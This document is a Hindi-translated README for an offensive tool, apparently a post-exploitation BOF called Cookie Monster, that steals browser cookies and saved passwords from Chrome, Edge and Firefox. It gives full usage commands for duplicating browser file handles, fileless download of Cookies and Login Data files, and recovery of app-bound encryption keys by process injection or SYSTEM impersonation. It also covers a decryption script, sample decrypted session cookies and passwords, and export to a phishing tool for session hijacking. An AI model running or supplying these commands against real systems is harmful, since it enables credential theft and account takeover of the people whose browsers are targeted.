
BOF-आधारित उपकरण जो हैडल डुप्लीकेशन और फ़ाइललेस डाउनलोड के माध्यम से Chrome, Edge और Firefox से ब्राउज़र कुकीज़ और क्रेडेंशियल्स निकालता है, ऑफ़लाइन डिक्रिप्शन समर्थन के साथ।
BOF के माध्यम से edge, chrome और firefox के लिए ब्राउज़र कुकीज़ चुराएँ!
Cookie Monster BOF Edge और Chrome दोनों के लिए WebKit Master Key और App Bound Encryption Key निकालेगा, Cookies और Login Data फ़ाइलों के हैंडल वाली एक ब्राउज़र प्रक्रिया का पता लगाएगा, हैंडल की प्रतिलिपि बनाएगा और फिर बिना फ़ाइल बनाए लक्ष्य फ़ाइल(ों) को डाउनलोड करेगा।
एक बार Cookies/Login Data फ़ाइल(ें) डाउनलोड हो जाने के बाद, उन रहस्यों को निकालने के लिए python डिक्रिप्शन स्क्रिप्ट का उपयोग किया जा सकता है! Firefox मॉड्यूल profiles.ini को पार्स करेगा और पता लगाएगा कि logins.json और key4.db फ़ाइलें कहाँ स्थित हैं और उन्हें डाउनलोड करेगा। ऑफ़लाइन डिक्रिप्शन के लिए एक अलग github रेपो का संदर्भ दिया गया है।
Chrome और Edge 127+ अपडेट: नई chromium ब्राउज़र कुकीज़ (v20) कुकीज़ को एन्क्रिप्ट करने के लिए app bound key का उपयोग करती हैं। परिणामस्वरूप, यह app_bound_encrypted_key को पुनः प्राप्त करना थोड़ा अधिक कठिन बना देता है। snovvcrash के धन्यवाद, यह प्रक्रिया अपने विशेषाधिकारों को बढ़ाए बिना पूरी की जा सकती है। शर्त यह है कि आपकी प्रक्रिया वेब ब्राउज़र की एप्लिकेशन डायरेक्टरी से चल रही होनी चाहिए। अर्थात्, Chrome/Edge में इंजेक्ट करना होगा या ब्राउज़र के समान एप्लिकेशन डायरेक्टरी से बीकन स्पॉन करना होगा।
Chrome 157+ एक गैर-पृथक लॉन्चर प्रक्रिया चला सकता है जो वास्तविक ब्राउज़र को दूसरी chrome.exe --isolated प्रक्रिया के रूप में शुरू करती है। आइसोलेशन सक्षम होने पर बनाई गई App-bound keys केवल उसी कॉलर द्वारा डिक्रिप्ट की जा सकती हैं जिसके पास Chrome का आइसोलेशन सुरक्षा विशेषता हो। --isolated Chrome प्रक्रिया में इंजेक्ट करें; लॉन्चर में इंजेक्ट करने पर HRESULT 0x8004A018 (kIsolationStateInvalid) लौटता है। साथ आने वाली Win32 त्रुटि पुरानी हो सकती है (उदाहरण के लिए, 122), इसलिए इस स्थिति का निदान करने के लिए HRESULT का उपयोग करें।
कुकीज़ को SYSTEM के रूप में और ब्राउज़र प्रक्रिया में इंजेक्ट किए बिना डिक्रिप्ट करें! Chrome के PostProcessData फ़ंक्शन को डिक्रिप्ट करने का तरीका खोजने के लिए @sdemius को श्रेय और @b1scoito के स्पष्टीकरण को भी! Chrome 137+ ने PostProcessData() फ़ंक्शन को एक बार फिर बदल दिया, इसे समझने के लिए @runassu को श्रेय!
नवीनतम अपडेट में @M1ndo के धन्यवाद से Webkit Master Key का डिक्रिप्शन जोड़ा गया है। मास्टर key स्वचालित रूप से app bound key के साथ डिक्रिप्ट हो जाती है। इसका उपयोग करने के लिए, key को Python डिक्रिप्ट स्क्रिप्ट में जोड़ें। मुख्य रूप से इस key का उपयोग तब देखें जब रोमिंग प्रोफ़ाइल उपयोग में हों, Edge में संग्रहीत पासवर्ड, या पुराने संग्रहीत पासवर्ड हों।
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
संकलन से पहले सुनिश्चित करें कि Linux पर Mingw-w64 और make इंस्टॉल हैं।
make
आवश्यकताएँ इंस्टॉल करें
pip3 install -r requirements.txt
उपयोग
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
उदाहरण: Chrome/Edge कुकीज़ फ़ाइल को डिक्रिप्ट करें
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Chrome AES Key के साथ Chrome Cookies को डिक्रिप्ट करें
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Chrome/Edge कुकीज़ फ़ाइल को डिक्रिप्ट करें और json में सहेजें
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
https://cookie-editor.com/ के साथ cookies JSON फ़ाइल आयात करें
Chrome/Edge पासवर्ड फ़ाइल को डिक्रिप्ट करें
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Decrypt Firefox Cookies and Stored Credentials:
https://github.com/lclevy/firepwd
decrypt स्क्रिप्ट में cuddlephish विकल्प जोड़ा गया है, जिसे https://github.com/fkasler/cuddlephish के साथ कुकी का उपयोग करने का समर्थन करना चाहिए
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish